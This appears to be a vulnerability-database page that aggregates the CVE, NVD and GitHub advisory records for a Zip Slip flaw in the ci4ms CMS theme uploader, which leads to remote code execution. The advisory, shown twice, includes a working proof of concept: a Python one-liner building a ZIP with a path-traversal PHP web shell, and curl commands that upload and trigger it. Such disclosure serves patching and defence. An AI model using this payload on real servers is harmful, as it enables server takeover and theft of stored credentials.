Vulnerability-Lookup

CVE-2026-41203 (GCVE-0-2026-41203)

Vulnerability from cvelistv5 – Published: 2026-05-07 03:19 – Updated: 2026-05-07 13:49

Title

ci4ms Theme::upload is vulnerable to Zip Slip leading to RCE

Summary

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.5.0, ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. This issue has been patched in version 0.31.5.0.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-07 13:49 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7994 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/ci4-cms-erp/ci4ms/security/adv…	x_refsource_CONFIRM
https://github.com/ci4-cms-erp/ci4ms/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
ci4-cms-erp	ci4ms	Affected: < 0.31.5.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-41203

Vulnerability from fkie_nvd - Published: 2026-05-07 04:16 - Updated: 2026-10-26 19:10

Severity

9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
	security-advisories@github.com	https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "vendor": "ci4-cms-erp",
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    },
    {
      "lang": "es",
      "value": "CI4MS es un esqueleto de CMS basado en CodeIgniter 4 que ofrece una arquitectura modular lista para producci\u00f3n con autorizaci\u00f3n RBAC y soporte de temas. Antes de la versi\u00f3n 0.31.5.0, ci4ms Theme::upload extrae archivos ZIP subidos por el usuario sin validar los nombres de las entradas, permitiendo a un usuario autenticado del backend con el permiso de creaci\u00f3n de temas escribir archivos en ubicaciones arbitrarias del sistema de archivos (Zip Slip) y lograr ejecuci\u00f3n remota de c\u00f3digo al colocar un archivo PHP bajo la ra\u00edz web p\u00fablica. Este problema ha sido parcheado en la versi\u00f3n 0.31.5.0."
    }
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      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-XV3R-VR59-95RG

Vulnerability from github – Published: 2026-04-22 17:29 – Updated: 2026-05-08 19:55

Summary

CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Details

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:29:58Z",
    "nvd_published_at": "2026-05-07T04:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:\n\n```php\npublic function upload()\n{\n    $valData = ([\n        \u0027theme\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Theme.backendTheme\u0027), \u0027rules\u0027 =\u003e \u0027uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]\u0027],\n    ]);\n    if ($this-\u003evalidate($valData) == false) return redirect()-\u003eroute(\u0027backendThemes\u0027)-\u003ewithInput()-\u003ewith(\u0027errors\u0027, $this-\u003evalidator-\u003egetErrors());\n    $file = $this-\u003erequest-\u003egetFile(\u0027theme\u0027);\n    $tempPath = WRITEPATH . \u0027tmp/\u0027 . str_replace(\u0027_theme.zip\u0027, \u0027\u0027, $file-\u003egetName()) . \u0027/\u0027;\n    $zip = new \\ZipArchive();\n    if ($zip-\u003eopen($file-\u003egetTempName()) === true) {\n        $zip-\u003eextractTo($tempPath);     // no entry-name validation\n        $zip-\u003eclose();\n    } ...\n    $log = install_theme_from_tmp($themeName);\n    ...\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.\n\nA companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile(\u0027evil_theme.zip\u0027,\u0027w\u0027) as z:\n    z.writestr(\u0027../../public/shell.php\u0027, \u0027\u003c?php system(\\$_GET[\\\"c\\\"]); ?\u003e\u0027)\n    z.writestr(\u0027info.xml\u0027, \u0027\u003ctheme name=\\\"x\\\"/\u003e\u0027)\n\"\n```\n\nUpload through the Theme manager with an authenticated session that has theme create:\n\n```bash\ncurl -i -b \u0027ci4ms_session=\u003cSESSION_ID\u003e\u0027 \\\n  -F \u0027theme=@evil_theme.zip\u0027 \\\n  https://target.example.com/backend/themes/themesUpload\n```\n\nTrigger the shell:\n\n```bash\ncurl \u0027https://target.example.com/shell.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.",
  "id": "GHSA-xv3r-vr59-95rg",
  "modified": "2026-05-08T19:55:25Z",
  "published": "2026-04-22T17:29:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41203"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-41203 (GCVE-0-2026-41203)

FKIE_CVE-2026-41203

GHSA-XV3R-VR59-95RG

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